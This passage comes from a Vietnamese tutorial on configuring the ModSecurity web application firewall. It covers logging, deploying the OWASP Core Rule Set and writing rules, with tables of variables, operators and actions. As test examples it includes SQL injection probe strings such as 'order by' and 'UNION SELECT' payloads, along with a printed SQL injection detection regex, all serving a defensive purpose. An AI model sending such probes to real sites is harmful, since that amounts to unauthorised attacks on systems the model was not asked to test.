Khuyến cáo: việc sử dụng chức năng theo dõi tập tin upload có thể là nguyên nhân của việc

làm tăng dung lượng lưu trữ do có nhiều tập tin trùng lặp nội dung, đồng thời việc này sẽ làm

giảm hiệu suất của ModSecurity. Vì lý do này, bạn chỉ nên sử dụng chức năng này khi thật sự

cần thiết.

# The location where ModSecurity will store intercepted

# uploaded files. This location must be private to ModSecurity.

SecUploadDir /opt/modsecurity/var/upload/

# By default, do not intercept (nor store) uploaded files.

SecUploadKeepFiles Off

Debug Log

Debug log sẽ hỗ trợ quản người trị trong việc theo dõi hoạt động của ModSecurity. Log level

trong phần này được khuyến cáo thiết lập ở mức 3, nhằm giới hạn việc tăng kích thước của log

mà vẫn bảo đảm cho việc theo dõi hệ thống.

# Debug log

SecDebugLog /opt/modsecurity/var/log/debug.log

SecDebugLogLevel 3

Audit Log

Audit log được sử dụng với mục đích ghi lại các phiên (transaction) làm việc. Audit log có 3

mức độ khác nhau để chỉ định cách thức hoạt động trong ModSecurity: SecAuditEngineare On

(ghi log tất cả phiên làm việc), Off (tắt audit log) và RelevantOnly (chỉ ghi log dựa vào mẫu mà

người dùng chỉ định).

# Thực hiện ghi log cho các yêu cầu có mã lỗi từ 500-599 (lỗi từ phía server).

RelevantOnly

SecAuditLogRelevantStatus ^5

# Use a single file for logging.

SecAuditLogType Serial

SecAuditLog /opt/modsecurity/var/log/audit.log

# Specify the path for concurrent audit logging.

20

SecAuditLogStorageDir /opt/modsecurity/var/audit/

Default Rule Match Policy

Phần cấu hình rule mặc định cho ModSecurity là khá quan trọng, vì phần này sẽ quyết định

hệ thống mà bạn sẽ theo dõi có bị bỏ sót các tấn công trong trường hợp các tập rule không thể

phát hiện được. Tuy nhiên, ModSecurity khuyến cáo bạn nên cấu hình không nên chặn tất cả

các kết nối khi ModSecurity hoạt động.

SecDefaultAction "phase:1,log,auditlog,pass"

Verifying Installation

Sau khi hoàn thành phần cấu hình, tôi sẽ kiểm tra hoạt động của ModSecurityuriy bằng một

rule đơn giản như sau:

#vi /opt/modsecurity/etc/rules.conf

SecRule REQUEST_URI "dangerous" "id:'900721'phase:1,deny,status:406"

Rule trên hoạt động trong trường hợp khi một người dùng cố truy cập vào URI có chứa mẫu

dangerous, thì Modsecurity sẽ trả về mã lỗi 406.

[root@mod_security ~]# curl -I http://www.ModSecurity.com/dangerous

HTTP/1.1 406 Not Acceptable

Date: Thu, 30 May 2013 22:56:06 GMT

Server: Apache

Connection: close

Content-Type: text/html; charset=iso-8859-1

VIII. OWASP MODSECURITY CORE RULE SET

Giới thiệu

ModSecurity sau khi đã được cài đặt thành công cần được cấu hình các tập rule để có thể

hoạt động như một WAF. Tuy nhiên, việc tự viết và triển khai các rule là khá phức tạp và tốn

thời gian để tối ưu các chức năng trong rule.

Nhóm nghiên cứu Truswave SpiderLabs đã phát triển một nhóm các tập lệnh có tên là

OWASP ModSecurity CRS, bao gồm các nội dung gói tin của kiểu tấn công đã được biết đến.

Một tính năng mạnh mẽ của CRS là có thể bảo vệ những ứng dụng web phổ biến cũng như

những ứng dụng web tự phát triển riêng biệt.

Nhằm mục đích bảo vệ các ứng dụng web phổ biến, CRS phân loại nội dung các rule dựa

trên các phương pháp tấn công:

• HTTP Protection: phát hiện các nguy cơ dựa trên giao thức HTTP như Method (

GET HEAD POST …), phiên bản HTTP ( 1.0, 1.1)

• Real-time Blacklist Lookups: lọc các dãy IP nguy hiểm dựa vào một bên thứ 3.

21

• Web-based Malware Detection: xác địnhcác mã độc trong nội dung trang web

bằng cách sử dụng Google Safe Browsign API.

• HTTP Denial of Service Protections: chống lại dạng tấn công từ chối dịch vụ

như HTTP Flooding và Slow HTTP DoS.

• Common Web Attacks Protection: phát hiện một số dạng tấn công phổ biếtn

vào ứng dụng web Automation Detection: phát hiện các bots, crawler, chương trình quét

(scanner) và các hoạt động thu thập thông tin.

• Integration with AV Scanning for File Uploads: phát hiện các mã độc,

webshell, 0days thông qua các chức năng upload tập tin.

• Tracking Sensitive Data: theo dõi các hoạt động và chặn lộ thông tin thẻ tín

dụng (trong trường hợp website có hoạt động thương mại điện tử).

• Trojan Protection: phát hiện các mẫu trojan.

• Identification of Application Defects: cảnh báo các lỗi trong quản lý cấy hình

ứng dụng webserver.

• Error Detection and Hiding: gởi các mã thông báo lỗi giả về phía người dùng.

Triển khai OWASP ModSecurityCRS

Tiến hành tải gói tin SpiderLabs-owasp-modsecurity-crs phiên bản mới nhất tại:

Định dạng Liên kết

GitHub

Repository

https://github.com/SpiderLabs/owasp-modsecurity-crs

TAR/GZ

Archive

https://github.com/SpiderLabs/owasp-modsecurity-crs/tarball/master

ZIP

Archive

https://github.com/SpiderLabs/owasp-modsecurity-crs/zipball/master

#tar xvf SpiderLabs-owasp-modsecurity-crs-2.2.7-28-g9a715d8.tar.gz

#cd SpiderLabs-owasp-modsecurity-crs-2.2.7-28-g9a715d8

#cp modsecurity_crs_10_setup.conf.example

/opt/modsecurity/etc/modsecurity_crs_10_setup.conf

#mkdir -p /opt/modsecurity/etc/crs/activated_rules

#cp base_rules/* /opt/modsecurity/etc/crs/activated_rules/

#vi /etc/httpd/conf.d/modsecurity.conf

<IfModule mod_security2.c>

#START COMMON CONFIGURATION

Include /opt/modsecurity/etc/main.conf

#Include /opt/modsecurity/etc/rules-first.conf

22

#Include /opt/modsecurity/etc/rules.conf

#Include /opt/modsecurity/etc/rules-last.conf

#STOP COMMON CONFIGURATION

#START OWASP MODSECURITY CORE RULE SET

Include /opt/modsecurity/etc/modsecurity_crs_10_setup.conf

Include /opt/modsecurity/etc/crs/activated_rules/*.conf

#STOP OWASP MODSECURITY CORE RULE SET

</IfModule>

#/etc/init.d/httpd restart

Kiểm tra kết quả

Ta thực hiện kiểm tra tấn công SQL injection với URI sau trong trường hợp trước và sau khi

triển khai OWASP CRS: http://www.modsec.com/?p=1%20order%20by%201,2,4

Hình 4: Tấn công SQLI trước khi triển khai OWASP CRS

http://www.modsec.com/?p=1%20order%20by%201,2,4

23

Hình 5:Tấn công SQLI sau khi triển khai OWASP CRS

Cảnh báo ghi nhận tấn công:

[Tue Jun 04 18:40:39 2013] [error] [client 192.168.149.1] ModSecurity: Access denied with

code 403 (phase 2). Pattern match

"\\\\b(?i:having)\\\\b\\\\s+(\\\\d{1,10}|'[^=]{1,10}')\\\\s*?[=<>]|(?i:\\\\bexecute(\\\\s{1,5}[\\\\w\\\

\.$]{1,5}\\\\s{0,3})?\\\\()|\\\\bhaving\\\\b ?(?:\\\\d{1,10}|[\\\\'\\"][^=]{1,10}[\\\\'\\"])

?[=<>]+|(?i:\\\\bcreate\\\\s+?table.{0,20}?\\\\()|(?i:\\\\blike\\\\W*?char\\\\W*?\\\\()|(?i:(?:(select(

.* ..." at ARGS:p. [file

"/opt/modsecurity/etc/crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"]

[line "130"] [id "959070"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: order

by found within ARGS:p: 1 order by 1,2,4"] [severity "CRITICAL"] [ver

"OWASP_CRS/2.2.7"] [maturity "9"] [accuracy "8"] [tag

"OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag

"OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname

"www.modsec.com"] [uri "/"] [unique_id "Ua3SN38AAAEAAAcbBfsAAAAA"]

IX. TỔNG QUAN VỀ RULE

Giới thiệu

Modsecurity định nghĩa 9 loại chỉ thị để người dùng có thể triển khai các tính năng lọc linh

động cho hệ thống web.

Directive Description

SecAction Performs an unconditional action. This directive is

essentially a rule that always matches.

SecDefaultAction Specifies the default action list, which will be used in

the rules that follow.

SecMarker Creates a marker that can be used in conjunction with

the skipAfteraction. A marker creates a rule that does

nothing, but has an ID assigned to it.

24

SecRule Creates a rule.

SecRuleInheritance Controls whether rules are inherited in a child

configuration context.

SecRuleRemoveById Removes the rule with the given ID.

SecRuleRemoveByMsg Removes the rule whose message matches the given

regular expression.

SecRuleScript Creates a rule implemented using Lua.

SecRuleUpdateActionB

yId

Updates the action list of the rule with the given ID.

SecRuleUpdateTargetB

yId

Updates the target list of the rule with the given ID.

Cú pháp rule trong ModSecurity:

SecRule VARIABLES OPERATOR [TRANSFORMATION_FUNCTIONS, ACTIONS]

Trong một rule ModSecurity có 4 thành phần, trong đóhai thành phần cuối của cú pháp là

tùy chọn.Nếu trong một rule mà bạn định nghĩa không sử dụng 2 thành phần

TRANSFORMATION_FUNCTIONS và ACTIONS thì ModSecurity sẽ dùng các giá trị mặc

định được thiết lập trong SecDefaultAction.

Biến (Variables)

Trong ModSecurity, biến được sử dụng cho việc trích xuất (etract) các thành phần khác nhau

của gói tin HTTP. được Bạn cần chú ý rằng các dữ liệu tương tác trong quá trình hoạt động của

ModSecurity là dữ liệu thô (raw bytes of data) bao gồm các ký tự đặc biệt. Mặc dù ứng dụng

web mà bạn xây dựng chỉ tương tác với các dữ liệu dạng văn bản (text), nhưng bạn không thể

chắc chắn được chuyện gì đang xảy ra nếu như các đối thủ sử dụng những cách để vượt qua các

kiểm soát logic.

Trong phiên bản hiện tại, ModSecurity đã hỗ trợ 77 loại biến khác nhau để tăng tính linh

động chống lại các kiểu khai thác nâng cao.

Operators

Tại mục này, ModSecurity sẽ xác định các thức mà một biến được xử lý. Các regular

expresstion được sử dụng phổ biến, tuy nhiên ModSecurity định nghĩa sẵn các operator nhằm

hỗ trợ bạn có thể tự xây dựng một rule cho mục đích cá nhân.

Transformation_functions

Chức năng này cho phép chuyển đổi dữ liệu đầu vào trước khi đưa qua cơ chế kiểm tra

(chuyển chữ hoa thành chữ thường, decode base64 …)

Actions

Chỉ rõ hành động sẽ thực hiện khi một rule đã được so trùng mẫu.

25

Variables

Có 77 loại biến trong phiên bản ModSecurity hiện tại và chúng được phân loại như sau:

Scalar variables: Chứa một phần thông tin dữ liệu, có thể là chuỗi hoặc số. Ví dụ,

REMOTE_ADDR luôn chứa địa chỉ IP của người dùng,

Collections: Nhóm các biến lại với nhau thành một nhóm.

Read-only collections: Nhóm các biến không thể thay đổi trong quá trình thực hiện tương

tác giữa ModSecurity và Apache.

Read/write collections: Nhóm này được sử dụng trong trường hợp bạn cần triển khai các

rule có sự thay đổi trong dữ liệu đầu vào.

Special collections: Nhóm các biến đặc biệt được dùng trong việc trích xuất dữ liệu đầu vào

dưới dạng XML.

Persistent collections: Khi các rule sử dụng các thành phân trong nhóm này, thì dữ liệu sẽ

được lưu trữ trong cơ sở dữ liệu nội bộ của ModSecurity. Trong các tác vụ như theo dõi IP,

phiên làm việc hoặc theo dõi người dùng đăng nhập thì việc lưu trữ sẽ được sử dụng.

Request variables

Các biến trong phân nhóm này chịu trách nhiệm trích xuất các giá trị trong HTTP request

header để đưa vào phần phân tích. Các trường giá trị ModSecurity hỗ trợ trong các biến được

thu thập từ các URI, method (GET HEAD POST PUT …), protocol information ( HTTP 1.1,

HTTP 1.0).

Bảng sau liệt kê các giá trị biến (Request variable) mà ModSecurity hỗ trợ:

Variable Description

ARGS Request parameters (read-only collection)

ARGS_COMBINED_SIZE Total size of all request parameters combined

ARGS_NAMES Request parameters‟ names (collection)

ARGS_GET Query string parameters (read-only collection)

ARGS_GET_NAMES Query string parameters‟ names (read-only collection)

ARGS_POST Request body parameters (read-only collection)

ARGS_POST_NAMES Request body parameters‟ names (read-only collection)

FILES File names (read-only collection)

FILES_COMBINED_SIZE Combined size of all uploaded files

FILES_NAMES File parameter names (read-only collection)

FILES_SIZES A list of file sizes (read-only collection)

FILES_TMPNAMES A list of temporary file names (read-only collection)

PATH_INFO Extra path information

QUERY_STRING Request query string

REMOTE_USER Remote user

REQUEST_BASENAME Request URI basename

REQUEST_BODY Request body

26

REQUEST_COOKIES Request cookies (read-only collection)

REQUEST_COOKIES_NAM

ES

Request cookies‟ names (read-only collection)

REQUEST_FILENAME Request URI file name/path

REQUEST_HEADERS Request headers (collection, read-only)

REQUEST_HEADERS_NAM

ES

Request headers‟ names (read-only collection)

REQUEST_LINE Request line

REQUEST_METHOD Request method

REQUEST_PROTOCOL Request protocol

REQUEST_URI Request URI, convert to exclude hostname

REQUEST_URI_RAW Request URI, as it was presented in the request

Server variables

Các biến trong phân nhóm này dùng phân tích các thành phần do người dùng gởi đến máy

chủ, và một số khác liên quan đến dữ liệu trả về người dùng.

Bảng sau liệt kê các giá trị biến (server variable) mà ModSecurity hỗ trợ:


AUTH_TYPE Authentication type

REMOTE_ADDR Remote address

REMOTE_HOST Remote host

REMOTE_PORT Remote port

SCRIPT_BASENAME Script basename

SCRIPT_FILENAME Script file name/path

SCRIPT_GID Script group ID

SCRIPT_GROUPNAM

E

Script group name

SCRIPT_MODE Script permissions

SCRIPT_UID Script user ID

SCRIPT_USERNAME Script user name

SERVER_ADDR Server address

SERVER_NAME Server name

SERVER_PORT Server port

Response variables

Các biến trong phân nhóm này được dùng cho việc xác định các dữ liệu trả về người dùng.

Phần lớn các giá trị này được sử dụng trong pha thứ 3 Response headers (3). Một số thành phần

liên quan đến nội dung gói tin HTTP (body) thì sẽ được dùng trong pha thứ 4 Response body

(4).

Bảng sau liệt kê các giá trị biến (respone variable) mà ModSecurity hỗ trợ:


27

RESPONSE_BODY Response body

RESPONSE_CONTENT_LENG

TH

Response content length

RESPONSE_CONTENT_TYPE Response content type

RESPONSE_HEADERS Response headers (read-only collection)

RESPONSE_HEADERS_NAME

S

Response headers‟ names (read-only collection)

RESPONSE_PROTOCOL Response protocol

RESPONSE_STATUS Response status code

Miscellaneouse variables

Bảng sau liệt kê các giá trị biến (miscellaneouse variable) mà ModSecurity hỗ trợ:


HIGHEST_SEVERITY Highest severity encountered

MATCHED_VAR Contents of the last variable that matched

MATCHED_VARS Contents of all variables that matched int the most

recent rule

MATCHED_VARS_NAM

ES

Names of all variables that matched in the most recent

rule

MATCHED_VAR_NAME Name of the last variable that matched

MODSEC_BUILD ModSecurity build version (e.g., 02050102)

SESSIONID Session ID associated with current transaction

UNIQUE_ID Unique transaction ID generated by mod_unique_id

USERID User ID associated with current transaction

WEBAPPID Web application ID associated with current transaction

WEBSERVER_ERROR_L

OG

Error messages generated by Apache during current

transaction

Parsing flags


MULTIPART_BOUNDARY_QUOTED Multipart parsing error: quoted boundary

encountered

MULTIPART_BOUNDARY_WHITESPACE Multipart parsing error: whitespace in

boundary

MULTIPART_CRLF_LF_LINES Multipart parsing error: mixed line

endings used

MULTIPART_DATA_BEFORE Multipart parsing error: seen data before

first boundary

MULTIPART_DATA_AFTER Multipart parsing error: seen data after

last boundary

28

MULTIPART_FILE_LIMIT_EXCEEDED Multipart parsing error: too many files

MULTIPART_HEADER_FOLDING Multipart parsing error: header folding

used

MULTIPART_INVALID_HEADER_FOLDI

NG

Multipart parsing error: invalid header

folding encountered

MULTIPART_LF_LINE Multipart parsing error: LFline ending

detected

MULTIPART_MISSING_SEMICOLON Multipart parsing error: missing

semicolon before boundary

MULTIPART_STRICT_ERROR At least one multipart error except

unmatched boundary occurred

MULTIPART_UNMATCHED_BOUNDARY Multipart parsing error: unmatched

boundary detected

REQBODY_PROCESSOR Request processor that handled request

body

REQBODY_PROCESSOR_ERROR Request processor error flag (0or 1)

REQBODY_PROCESSOR_ERROR_MSG Request processor error message

Collections variables

Các biến trong nhóm này có thể chứa biến của các nhóm khác, nhằm phục vụ việc thu thập

dữ liệu để đưa qua cơ chế phân tích hành vi trong ModSecurity.


ENV Environment variables (read-only collection,

although it‟s possible to use setvar

GEO to change it)

GLOBAL Geo lookup information from the last

@geoLookupinvocation (read-only collec

IP tion)

TX Global information, shared by all processes

(read/write collection)

RULE IP address data storage (read/write collection)

SESSION Transient transaction data (read/write

collection)

USER Current rule metadata (read-only collection)

XML Session data storage (read/write collection)

Time variables

Các biến về thời gian dùng để xác định thời gian khi một phiên làm việc trên ModSecurity

được thực hiện.


TIME Time (HH:MM:SS)

TIME_DAY Day of the month (1–31)

TIME_EPOCH Seconds since January 1, 1970 (e.g.,

29

1251029017)

TIME_HOUR Hour of the day (0–23)

TIME_MIN Minute of the hour (0–59)

TIME_MON Month of the year (0–11)

TIME_SEC Second of the minute (0–59)

TIME_WDAY Week day (0–6)

TIME_YEAR Year

Operators

Các toán tử kiểm tra trong ModSecurity có nhiệm vụ phân tích các biến đầu vào Variables để

ra quyết định. Hầu hết các rule sẽ sử dụng các regular expression cho việc phân tích, nhưng

trong một số trường hợp cụ thể thì các phân nhóm toán tử khác sẽ hữu ích hơn.

Ta xét trường hợp cần so sánh các giá trị là số (numberic) thì việc sử dụng Regular

expression là khá bất lợi cho việc tạo rule và tài nguyên khi thực thi so sánh rule. ModSecurity

hỗ trợ một nhóm phương thức so sánh khác nhau nhằm tăng hiệu năng cho phần kiểm tra.

Trong trường hợp này thì việc sử dụng các toán tử về số học sẽ hiệu quả hơn nhiều so với

regular expression.

ModSecurity hỗ trợ 4 nhóm:

• String–matching operators

• Numerical operators

• Validation operators

• Miscellaneous operators

String–matching operators

Các toán tử so trùng chuỗi được dùng phân tích các đầu dữ liệu vào từ các biến. Toán tử @rx

và @pm thường được sử dụng nhiều trong các rule phân tích, bởi vì tính linh động của @rx và

tốc độ xử lý của @pm. Trong một số trường hợp khác thì các toán tử còn lại sẽ hỗ trợ bạn phát

triển các rule tùy theo mục đích chi tiết.

Operator Description

@beginsWith Input begins with parameter

@contains Input contains parameter

@endsWith Input ends with parameter

@rsub Manipulation of request and response bodies

@rx Regular pattern match in input

@pm Parallel pattern matching

@pmFromFile(also @pmfas of

2.6)

Parallel patterns matching, with patterns read

from a file

@streq Input equal to parameter

@within Parameter contains input

30

Numerical operators

Trong bảng dưới liệt kê các toán tử hỗ trợ so sánh các giá trị số.Trong phiên bản

ModSecurity trước 2.5.12 thì việc so sánh các giá trị số học phải thông qua regular expression,

việc này làm ảnh hưởng lớn đến hiệu năng hoạt động của server.


@eq Equal

@ge Greater or equal

@gt Greater than

@le Less or equal

@lt Less than

Validation operators

Các toán tử kiểm tra mà ModSecurity hỗ trợ được liệt kê trong bảng sau:


@validateByteRange Validates that parameter consists only of

allowed byte values

@validateDTD Validates XML payload against a DTD

@validateSchema Validates XML payload against a schema

@validateUrlEncoding Validates an URL-encoded string

@validateUtf8Encoding Validates an UTF-8-encoded string

Miscellaneous operators

Và phân nhóm operator cuối cùng mà ModSecurity hỗ trợ cho phép bạn tạo ra một số rule

với các chức năng lọc khá hữu dụng như: phát hiện lộ thông tin credit card (@verifyCC), kiểm

tra vùng địa lý của IP người dùng (@geoLookup), kiểm tra lộ thông tin số an sinh xã hội

(@verifySSN )…


@geoLookup Determines the physical location of an IP

address

@inspectFile nvokes an external script to inspect a file

@rbl Looks up the parameter against a RBL (real-

time block list)

@verifyCC Checks whether the parameter is a valid credit

card number

@verifyCPF Checks whether the parameter is a valid

Brazilian social security number

@verifySSN Checks whether the parameter is a valid US

social security number

@ipMatch Matches input against one or more IP addresses

or network segments

31

@ipMatchFromFile( and @ip

MatchF), as of 2.7.0

As @ipMatch, but reads input from a file

Actions

Các hành vi (action) là điểm mạnh của ModSecurity cho phép hệ thống web có khả năng

miễn dịch với một số loại khai thác đã biết đến. Các action là thành phần cuối cùng trong một

rule, Apache sẽ quyết định kết quả trả về phía người dùng (thông báo lỗi, hủy kết nối hoặc cho

phép truy cập…)

ModSecurity chia các action thành 7 phân mục:

• Disruptive actions

• Flow actions

• Metadata actions

• Variable actions

• Logging actions

• Special actions

• Miscellaneous Actions

Disruptive actions

Trong phân nhóm này, các action được sử dụng nhằm mục đích ngăn chặn hoặc chuyển

hướng kết nối trong trường hợp ModSecurity phát hiện mẫu tấn công trùng khớp.

Action Description

allow Stop processing of one or more remaining

phases

block Indicate that a rule wants to block

deny Block transaction with an error page

drop Close network connection

pass Do not block, go to the next rule

pause Pause for a period of time, then execute allow.

proxy Proxy request to a backend web server

redirect Redirect request to some other web server

Flow actions

Action Description

chain Connect two or more rules into a single logical

rule

skip Skip over one or more rules that follow

skipAfter Skip after the rule or marker with the provided

ID

32

Metadata actions

Phân nhóm này cho phép bạn định nghĩa các thông tin mô tả về rule. Các thông tin này

thường được dùng để mô tả thông báo lỗi (error message), giải thích nguyên nhân xuất hiện lỗi

hoặc cách khắc phục đề nghị.

Action Description

id Assign unique ID to a rule

phase Phase for a rule to run in

msg Message string

rev Revision number

severity Severity

tag Tag

Variable actions

Cách hành vi trong nhóm này được liên hệ với các giá trị biến (Variables), các action này

cho phép gán giá trị (set), thay đổi (change) và xóa (remove) giá trị mà các biến lưu trữ.

Action Description

capture Capture results into one or more variables

deprecatevar Decrease numerical variable value over time

expirevar Remove variable after a time period

initcol Create a new persistent collection

setenv Set or remove an environment variable

setvar Set, remove, increment, or decrement a variable

setuid Associate current transaction with an

application user ID (username)

setsid Associate current transaction with an

application session ID

Logging actions

Các action trong phân nhóm ghi log chỉ dẫn ModSecurity phương thức và nơi lưu trữ log.

Các action ảnh hưởng đến việc ghi log trong rule là auditlog, log, noauditlog và nolog. Để điều

khiển quá trình ghi log, bạn cần tham khảo ctlaction.

Action Description

auditlog Log current transaction to audit log

log Log error message; implies auditlog

logdata Log supplied data as part of error message

noauditlog Do not log current transaction to audit log

nolog Do not log error message; implies noauditlog

sanitiseArg Remove request parameter from audit log

sanitiseMatched Remove parameter in which a match occurred

from audit log

sanitiseRequestHeader Remove request header from audit log

33

Special actions

Action Description

ctl Change configuration of current transaction

multiMatch Activate multi-matching, where an operator

runs after every transformation

t Specify transformation functions to apply to

variables before matching

Miscellaneous Actions

Action Description

append Append content to response body

exec Execute external script

prepend Prepend content to response body

status Specify response status code to use with

denyand redirect

xmlns Specify name space for use with XPath

expressions

X. RULE LANGUAGE TUTORIAL

Tổng quan

Trong phần hướng dẫn này, tôi sẽ bắt đầu với một rule đơn giản gồm một biến và một chuỗi

(string) như sau:

SecRule REQUEST_URI <script>

Với biểu thức so sánh như trên thì ModSecurity thực thi kiểm tra dữ liệu trong URI từ phía

người dùng và xác định có sự tồn tại của chuỗi <script> hay không. Tuy nhiên, bạn có thể sử

dụng thêm một operator vào rule trên để tăng hiệu quả kiểm tra trong ModSecurity, tôi sẽ viết

lại rule trên như sau:

SecRule REQUEST_URI "@rx <script>"

ModSecurity hỗ trợ nhiều loại operator khác nhau.Một số có cùng chức năng, nhưng các

operator sẽ có ảnh hưởng khác nhau đến hiệu suất của hệ thống. Trong ví dụ tôi đưa ra thì

chuỗi <script> không phải là một biểu thức so sánh, bởi vì chúng không chứa ký tự đặc biệt để

xác định đây là một mẫu biểu thức. Tôi có thể viết lại rule trên bằng các sử dụng @contains để

tối ưu:

SecRule REQUEST_URI "@contains <script>"

Hướng dẫn sử dụng biến (variable)

Trong một rule, bạn có thể sử dụng nhiều biến khác nhau bằng cách dùng ký tự pipe “|” để

phân cách:

SecRule REQUEST_URI|REQUEST_PROTOCOL <script>

34

Nhóm các biến được dùng trong một rule được gọi là collection. Trên thực tế, các rule được

viết có thể chứa nhiều hơn một thành phần tham số (parameter), ta có thể dùng dấu hai chấm

“:” để phân cách biến và tên của tham số.

SecRule ARGS:p <script>

SecRule ARGS:p|ARGS:q <script>

Ta có thể sử dụng cấu trúc như ví dụ trên để so trùng bằng mẫu biểu thức, ví dụ bên dưới sẽ

tìm chuỗi <script> trong các tham số bắt đầu bằng ký tự p:

SecRule ARGS:/^p/ <script>

Biến ARGS mặc định sẽ theo dõi tất cả các tham số nếu bạn không chỉ định tên tham số

hoặc biểu thức mẫu. Việc liệt kê các tham số giúp giảm thiểu tài nguyên hệ thống và năng hiệu

suất theo dõi của ModSecurity. Trong một số trường hợp, bạn có thể sử dụng toán tử phủ định

(operator negation) để loại bỏ một nhóm biến trong rule, bằng cách thêm dấu chấm than vào

trước nhóm biết mà bạn không sử dụng:

SecRule ARGS|!ARGS:z <script>

Hướng dẫn sử dụng liên kết rule (chain)

ModSecurity cho phép bạn liên kết các SecRule riêng lẽ với nhau thành một SecRule duy

nhấtthông quan từ khóa chain. Liên kết các rule sẽ giảm thiểu các tình huống cảnh báo không

chính xác, giúp bạn đơn giản hóa việc viết rule trong trường hợp cần kiểm tra các điều kiện

mang tính chất tuần tự.

Trong ví dụ bên dưới, ModSecurity sẽ luôn thực hiện kiểm tra SecRule đầu tiên (kiểm tra

tham số p), nếu xảy ra trường hợp có dữ liệu trùng khớp thì rule tiếp theo (kiểm tra tham số q)

sẽ được kiểm tra.

SecRule ARGS:p <script> chain

SecRule ARGS:q <script>

Hướng dẫn sử dụng toán tử phủ định

ModSecurity cho phép bạn sử dụng phương pháp phủ định một thành phần bất kỳ trong rule.

Giả sử bạn muốn triển khai một rule có chức năng theo dõi người dùng đăng nhập ngoại trừ

user admin và root, ta có thể viết như sau:

SecRule ARGS:username "!@rx ^(admin|root)$"

Trong rule SecRule ARGS:p|ARGS:q "!@eq 5" thì ModSecurity sẽ trùng khi có một trong

hai tham số p hoặc q có giá trị bằng 5. Trường hợp bạn cần kiểm tra tham số p và q có giá trị

bằng 5 thì ta sử dụng từ khóa chain:

SecRule ARGS:p "!@eq 5" chain

SecRule ARGS:q "!@eq 5"

35

Variable Counting

Bằng cách thêm ký tự “&” vào trước biến trong rule, bạn có thể thực hiện công việc đếm số

lần xuất hiện của một biến.

Trong rule bên dưới, ModSecurity thực hiện kiểm tra trong trường hợp tồn tại một tham số

username:

SecRule &ARGS:username "@eq 1"

Để kiểm tra trong trường hợp có nhiều hơn một tham số username, ta viết lại rule như sau:

SecRule &ARGS:username "!@eq 1"

Hướng dẫn về action

Hành vi (action) là thành phần thứ ba trong chỉ thị SecRule và là thành phần thứ nhất trong

chỉ thị SecAction. Một rule có thể không tồn tại action hoặc nhiều hơn một action. Nếu ta sử

dụng nhiều action trong một rule, ta có thể phân cách bằng dấu phẩy “,” hay khoảng trắng giữa

các action. Trong rule bên dưới, ta sử dụng 2 action là log và deny:

SecRule ARGS K1 log,deny

Một số action trong ModSecurity yêu cầu có tham số khi sử dụng. Trong trường hợp này, ta

cần phân cách action và tham số bởi dấu “:” . Một ví dụ về việc sử dụng hành vị deny các yêu

cầu đến server và gây lỗi “404 Not found”:

SecRule ARGS K1 log,deny,status:404

Một phần cần lưu ý đối với các hành vi có tham số chứa khoảng trắng hoặc ký tự “,” , bạn

nên chắc chắn rằng các tham số này được đặt trong một cặp dấu ngoặc đơn „‟.

SecRule ARGS K1 "log,deny,msg:'Acme attack detected'"

Action Defaults

ModSecurity định nghĩa một ngữ cảnh được gọi là default action list (tạm dịch: danh sách

các hành vi mặc định), nhằm thực hiện chèn các giá trị này vào những rule không được chỉ

định action.

Giả sử, sau khi thực hiện cấu hình trong tập tin main.conf của ModSecurity, giá trị của

SecDefaultAction là phase:2,log,auditlog,pass. Ta có một rule đơn giản không được chỉ định

action:

SecRule ARGS K1

Khi ModSecurity hoạt động, thì rule trên sẽ được hiểu như sau:

SecRule ARGS K1 phase:2,log,auditlog,pass

Bằng cách này, ModSecurity giúp bạn triển khai một rule dễ dàng hơn mà không cần phải

chỉ định một action lặp lại nhiều lần:

SecDefaultAction phase:2,log,deny,status:404

36

SecRule ARGS K1

SecRule ARGS K2

...

SecRule ARGS K99

Unconditional Rules

Hành vi mà bạn thiết lập trong chỉ thị SecRule sẽ được thực hiện khi có mẫu trùng khớp với

các biểu thức, nhưng bạn cũng có thể sử dụng chỉ thị SecAction để triển khai các hành vi

(action) mà bạn định nghĩa sẵn. Chỉ thị SecAction cho phép chứa duy nhất một tham số

(parameter), tham số này được dùng để liên kết với thành phần thứ ba trong chỉ thị SecRule.

SecAction nolog,pass,setvar:tx.counter=10

Using Transformation Functions

Trong các phương pháp khai thác lỗ hổng ứng dụng web, hacker thường sử dụng các kỹ

thuật biến đổi dữ liệu (obfuscation) để vượt qua cơ chế kiểm tra. Để chống lại phương pháp

biến đổi, ModSecurity hỗ trợ chuyển đổi dữ liệu đầu vào trước khi thực hiện kiểm tra các tấn

công. Ví dụ:

Trong tấn công SQL Injection thì hacker thực hiện câu truy vấn:

“id=1&UniON%20SeLeCT%201,2,3,4,5,6” (trong trường hợp này ta cần chuyển đổi các ký tự

sang chữ thường (lowercase) trước khi kiểm tra)

Hoặc trong rule bên dưới, ModSecurity sẽ thực hiện chuyển các ký tự thành chữ thường,

đồng thời loại bỏ các ký tự khoảng trắng không cần thiết:

SecRule ARGS "@contains delete from" \

phase:2,t:lowercase,t:compressWhitespace,block

Kết quả mà ModSecurity sẽ thực hiện là lọc những từ khóa có dạng:

delete from

DELETE FROM

deLeTe fRoM

Delete From

DELETE\tFROM –

Một số lý do bạn cần sử dụng chức năng chuyển đổi:

Với các khai thác sử dụng phương pháp encode base64, ta có thể áp dụng

t:base64Decode để decode dữ liệu đầu vào.

Tương tự Base64, với trường hợp hacker chuyển đổi kiểu dữ liệu thành dạng Hex

thì t:hexEncode nên được sử dụng để chuyển đổi sang dạng Plaintext.

37

Blocking

Các chỉ thị sử dụng trong ModSecurity được liên kết duy nhất với một action (hoặc chỉ thị

SecAction) để xử lý kết quả đã phân tích trước đó. Có ba trạng thái mà ModSecurity hỗ trợ

trong việc ngăn chặn tấn công:

Chuyển tiếp sang rule tiếp theo.

Ngưng thực hiện pha hiện thời, nhưng tiếp tục thực hiện phiên trao đổi dữ liệu.

Ngưng thực hiện pha hiện thời, đồng thời ngừng trao đổi dữ liệu.

Changing Rule Flow

Giả sử trường hợp các rule trong ModSecurity được xử lý tuần tự từ rule đầu tiên đến rule

cuối cùng. Nếu có một giá trị trùng với mẫu so sánh, thì tiến trình kiểm tra trong các rule tiếp

sau đó nên được bỏ qua. Để thực hiện việc này, từ khóa skipcó thể được đưa vào sử dụng như

sau:

SecRule ARGS K1 id:1,nolog,pass,skip:2

